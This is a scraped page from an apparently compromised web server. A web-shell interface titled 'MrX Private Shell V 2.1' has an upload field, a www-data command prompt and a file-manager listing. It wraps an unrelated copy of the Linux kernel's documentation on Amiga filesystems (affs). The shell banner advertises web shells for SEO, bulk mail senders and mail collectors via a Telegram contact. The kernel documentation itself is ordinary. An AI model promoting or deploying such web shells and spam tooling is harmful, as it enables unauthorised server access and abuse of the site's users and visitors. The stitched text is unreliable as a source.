__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Overview of Amiga Filesystems &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="kAFS: AFS FILESYSTEM" href="afs.html" />
    <link rel="prev" title="Acorn Disc Filing System - ADFS" href="adfs.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/filesystems/affs.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="overview-of-amiga-filesystems">
<h1>Overview of Amiga Filesystems<a class="headerlink" href="#overview-of-amiga-filesystems" title="Link to this heading">¶</a></h1>
<p>Not all varieties of the Amiga filesystems are supported for reading and
writing. The Amiga currently knows six different filesystems:</p>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>DOS0</p></td>
<td><p>The old or original filesystem, not really suited for
hard disks and normally not used on them, either.
Supported read/write.</p></td>
</tr>
<tr class="row-even"><td><p>DOS1</p></td>
<td><p>The original Fast File System. Supported read/write.</p></td>
</tr>
<tr class="row-odd"><td><p>DOS2</p></td>
<td><p>The old “international” filesystem. International means that
a bug has been fixed so that accented (“international”) letters
in file names are case-insensitive, as they ought to be.
Supported read/write.</p></td>
</tr>
<tr class="row-even"><td><p>DOS3</p></td>
<td><p>The “international” Fast File System.  Supported read/write.</p></td>
</tr>
<tr class="row-odd"><td><p>DOS4</p></td>
<td><p>The original filesystem with directory cache. The directory
cache speeds up directory accesses on floppies considerably,
but slows down file creation/deletion. Doesn’t make much
sense on hard disks. Supported read only.</p></td>
</tr>
<tr class="row-even"><td><p>DOS5</p></td>
<td><p>The Fast File System with directory cache. Supported read only.</p></td>
</tr>
</tbody>
</table>
<p>All of the above filesystems allow block sizes from 512 to 32K bytes.
Supported block sizes are: 512, 1024, 2048 and 4096 bytes. Larger blocks
speed up almost everything at the expense of wasted disk space. The speed
gain above 4K seems not really worth the price, so you don’t lose too
much here, either.</p>
<p>The muFS (multi user File System) equivalents of the above file systems
are supported, too.</p>
<section id="mount-options-for-the-affs">
<h2>Mount options for the AFFS<a class="headerlink" href="#mount-options-for-the-affs" title="Link to this heading">¶</a></h2>
<dl class="simple">
<dt>protect</dt><dd><p>If this option is set, the protection bits cannot be altered.</p>
</dd>
<dt>setuid[=uid]</dt><dd><p>This sets the owner of all files and directories in the file
system to uid or the uid of the current user, respectively.</p>
</dd>
<dt>setgid[=gid]</dt><dd><p>Same as above, but for gid.</p>
</dd>
<dt>mode=mode</dt><dd><p>Sets the mode flags to the given (octal) value, regardless
of the original permissions. Directories will get an x
permission if the corresponding r bit is set.
This is useful since most of the plain AmigaOS files
will map to 600.</p>
</dd>
<dt>nofilenametruncate</dt><dd><p>The file system will return an error when filename exceeds
standard maximum filename length (30 characters).</p>
</dd>
<dt>reserved=num</dt><dd><p>Sets the number of reserved blocks at the start of the
partition to num. You should never need this option.
Default is 2.</p>
</dd>
<dt>root=block</dt><dd><p>Sets the block number of the root block. This should never
be necessary.</p>
</dd>
<dt>bs=blksize</dt><dd><p>Sets the blocksize to blksize. Valid block sizes are 512,
1024, 2048 and 4096. Like the root option, this should
never be necessary, as the affs can figure it out itself.</p>
</dd>
<dt>quiet</dt><dd><p>The file system will not return an error for disallowed
mode changes.</p>
</dd>
<dt>verbose</dt><dd><p>The volume name, file system type and block size will
be written to the syslog when the filesystem is mounted.</p>
</dd>
<dt>mufs</dt><dd><p>The filesystem is really a muFS, also it doesn’t
identify itself as one. This option is necessary if
the filesystem wasn’t formatted as muFS, but is used
as one.</p>
</dd>
<dt>prefix=path</dt><dd><p>Path will be prefixed to every absolute path name of
symbolic links on an AFFS partition. Default = “/”.
(See below.)</p>
</dd>
<dt>volume=name</dt><dd><p>When symbolic links with an absolute path are created
on an AFFS partition, name will be prepended as the
volume name. Default = “” (empty string).
(See below.)</p>
</dd>
</dl>
</section>
<section id="handling-of-the-users-groups-and-protection-flags">
<h2>Handling of the Users/Groups and protection flags<a class="headerlink" href="#handling-of-the-users-groups-and-protection-flags" title="Link to this heading">¶</a></h2>
<p>Amiga -&gt; Linux:</p>
<p>The Amiga protection flags RWEDRWEDHSPARWED are handled as follows:</p>
<blockquote>
<div><ul class="simple">
<li><p>R maps to r for user, group and others. On directories, R implies x.</p></li>
<li><p>W maps to w.</p></li>
<li><p>E maps to x.</p></li>
<li><p>D is ignored.</p></li>
<li><p>H, S and P are always retained and ignored under Linux.</p></li>
<li><p>A is cleared when a file is written to.</p></li>
</ul>
</div></blockquote>
<p>User id and group id will be used unless set[gu]id are given as mount
options. Since most of the Amiga file systems are single user systems
they will be owned by root. The root directory (the mount point) of the
Amiga filesystem will be owned by the user who actually mounts the
filesystem (the root directory doesn’t have uid/gid fields).</p>
<p>Linux -&gt; Amiga:</p>
<p>The Linux rwxrwxrwx file mode is handled as follows:</p>
<blockquote>
<div><ul class="simple">
<li><p>r permission will allow R for user, group and others.</p></li>
<li><p>w permission will allow W for user, group and others.</p></li>
<li><p>x permission of the user will allow E for plain files.</p></li>
<li><p>D will be allowed for user, group and others.</p></li>
<li><p>All other flags (suid, sgid, ...) are ignored and will
not be retained.</p></li>
</ul>
</div></blockquote>
<p>Newly created files and directories will get the user and group ID
of the current user and a mode according to the umask.</p>
</section>
<section id="symbolic-links">
<h2>Symbolic links<a class="headerlink" href="#symbolic-links" title="Link to this heading">¶</a></h2>
<p>Although the Amiga and Linux file systems resemble each other, there
are some, not always subtle, differences. One of them becomes apparent
with symbolic links. While Linux has a file system with exactly one
root directory, the Amiga has a separate root directory for each
file system (for example, partition, floppy disk, ...). With the Amiga,
these entities are called “volumes”. They have symbolic names which
can be used to access them. Thus, symbolic links can point to a
different volume. AFFS turns the volume name into a directory name
and prepends the prefix path (see prefix option) to it.</p>
<p>Example:
You mount all your Amiga partitions under /amiga/&lt;volume&gt; (where
&lt;volume&gt; is the name of the volume), and you give the option
“prefix=/amiga/” when mounting all your AFFS partitions. (They
might be “User”, “WB” and “Graphics”, the mount points /amiga/User,
/amiga/WB and /amiga/Graphics). A symbolic link referring to
“User:sc/include/dos/dos.h” will be followed to
“/amiga/User/sc/include/dos/dos.h”.</p>
</section>
<section id="examples">
<h2>Examples<a class="headerlink" href="#examples" title="Link to this heading">¶</a></h2>
<p>Command line:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mount  Archive/Amiga/Workbench3.1.adf /mnt -t affs -o loop,verbose
mount  /dev/sda3 /Amiga -t affs
</pre></div>
</div>
<p>/etc/fstab entry:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>/dev/sdb5   /amiga/Workbench    affs    noauto,user,exec,verbose 0 0
</pre></div>
</div>
</section>
<section id="important-note">
<h2>IMPORTANT NOTE<a class="headerlink" href="#important-note" title="Link to this heading">¶</a></h2>
<p>If you boot Windows 95 (don’t know about 3.x, 98 and NT) while you
have an Amiga harddisk connected to your PC, it will overwrite
the bytes 0x00dc..0x00df of block 0 with garbage, thus invalidating
the Rigid Disk Block. Sheer luck has it that this is an unused
area of the RDB, so only the checksum doesn’t match anymore.
Linux will ignore this garbage and recognize the RDB anyway, but
before you connect that drive to your Amiga again, you must
restore or repair your RDB. So please do make a backup copy of it
before booting Windows!</p>
<p>If the damage is already done, the following should fix the RDB
(where &lt;disk&gt; is the device name).</p>
<p>DO AT YOUR OWN RISK:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>dd if=/dev/&lt;disk&gt; of=rdb.tmp count=1
cp rdb.tmp rdb.fixed
dd if=/dev/zero of=rdb.fixed bs=1 seek=220 count=4
dd if=rdb.fixed of=/dev/&lt;disk&gt;
</pre></div>
</div>
</section>
<section id="bugs-restrictions-caveats">
<h2>Bugs, Restrictions, Caveats<a class="headerlink" href="#bugs-restrictions-caveats" title="Link to this heading">¶</a></h2>
<p>Quite a few things may not work as advertised. Not everything is
tested, though several hundred MB have been read and written using
this fs. For a most up-to-date list of bugs please consult
fs/affs/Changes.</p>
<p>By default, filenames are truncated to 30 characters without warning.
‘nofilenametruncate’ mount option can change that behavior.</p>
<p>Case is ignored by the affs in filename matching, but Linux shells
do care about the case. Example (with /wb being an affs mounted fs):</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>rm /wb/WRONGCASE
</pre></div>
</div>
<p>will remove /mnt/wrongcase, but:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>rm /wb/WR*
</pre></div>
</div>
<p>will not since the names are matched by the shell.</p>
<p>The block allocation is designed for hard disk partitions. If more
than 1 process writes to a (small) diskette, the blocks are allocated
in an ugly way (but the real AFFS doesn’t do much better). This
is also true when space gets tight.</p>
<p>You cannot execute programs on an OFS (Old File System), since the
program files cannot be memory mapped due to the 488 byte blocks.
For the same reason you cannot mount an image on such a filesystem
via the loopback device.</p>
<p>The bitmap valid flag in the root block may not be accurate when the
system crashes while an affs partition is mounted. There’s currently
no way to fix a garbled filesystem without an Amiga (disk validator)
or manually (who would do this?). Maybe later.</p>
<p>If you mount affs partitions on system startup, you may want to tell
fsck that the fs should not be checked (place a ‘0’ in the sixth field
of /etc/fstab).</p>
<p>It’s not possible to read floppy disks with a normal PC or workstation
due to an incompatibility with the Amiga floppy controller.</p>
<p>If you are interested in an Amiga Emulator for Linux, look at</p>
<p><a class="reference external" href="http://web.archive.org/web/%2E/http://www.freiburg.linux.de/~uae/">http://web.archive.org/web/%2E/http://www.freiburg.linux.de/~uae/</a></p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/filesystems/affs.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caching Folder 0755
ext4 Folder 0755
fuse Folder 0755
iomap Folder 0755
nfs Folder 0755
smb Folder 0755
spufs Folder 0755
xfs Folder 0755
9p.html File 24.15 KB 0644
adfs.html File 13.15 KB 0644
affs.html File 18.5 KB 0644
afs.html File 19.14 KB 0644
api-summary.html File 831.83 KB 0644
autofs-mount-control.html File 32.3 KB 0644
autofs.html File 38.96 KB 0644
automount-support.html File 12.79 KB 0644
befs.html File 14.41 KB 0644
bfs.html File 10.72 KB 0644
btrfs.html File 9.7 KB 0644
buffer.html File 48.88 KB 0644
ceph.html File 18.87 KB 0644
coda.html File 65.97 KB 0644
configfs.html File 36.14 KB 0644
cramfs.html File 14.95 KB 0644
dax.html File 25.37 KB 0644
debugfs.html File 21.71 KB 0644
devpts.html File 10.61 KB 0644
directory-locking.html File 23.11 KB 0644
dlmfs.html File 14.28 KB 0644
dnotify.html File 12.09 KB 0644
ecryptfs.html File 11.96 KB 0644
efivarfs.html File 10 KB 0644
erofs.html File 29.42 KB 0644
ext2.html File 32.92 KB 0644
ext3.html File 8.29 KB 0644
f2fs.html File 67.87 KB 0644
fiemap.html File 23.32 KB 0644
files.html File 16.52 KB 0644
fscrypt.html File 107.9 KB 0644
fsverity.html File 64.53 KB 0644
gfs2-glocks.html File 21.71 KB 0644
gfs2-uevents.html File 12.88 KB 0644
gfs2.html File 10.38 KB 0644
hfs.html File 12.31 KB 0644
hfsplus.html File 10.28 KB 0644
hpfs.html File 26.83 KB 0644
idmappings.html File 74.42 KB 0644
index.html File 68.19 KB 0644
inotify.html File 12.35 KB 0644
isofs.html File 12.17 KB 0644
journalling.html File 115.17 KB 0644
locking.html File 52.92 KB 0644
locks.html File 11.91 KB 0644
mount_api.html File 49.94 KB 0644
multigrain-ts.html File 15 KB 0644
netfs_library.html File 86.81 KB 0644
nilfs2.html File 22.21 KB 0644
ntfs3.html File 13.64 KB 0644
ocfs2-online-filecheck.html File 13.13 KB 0644
ocfs2.html File 15.76 KB 0644
omfs.html File 13.12 KB 0644
orangefs.html File 35.89 KB 0644
overlayfs.html File 54.83 KB 0644
path-lookup.html File 123.09 KB 0644
porting.html File 94.09 KB 0644
proc.html File 140.32 KB 0644
qnx6.html File 16.36 KB 0644
quota.html File 12.12 KB 0644
ramfs-rootfs-initramfs.html File 27.94 KB 0644
relay.html File 40.38 KB 0644
resctrl.html File 93.99 KB 0644
romfs.html File 18.06 KB 0644
seq_file.html File 36.49 KB 0644
sharedsubtree.html File 46.25 KB 0644
splice.html File 79.36 KB 0644
squashfs.html File 24.34 KB 0644
sysfs.html File 29.32 KB 0644
tmpfs.html File 22.95 KB 0644
ubifs-authentication.html File 33.04 KB 0644
ubifs.html File 15.06 KB 0644
udf.html File 12.11 KB 0644
vfat.html File 26.07 KB 0644
vfs.html File 167.26 KB 0644
virtiofs.html File 12.16 KB 0644
zonefs.html File 35.71 KB 0644
Filemanager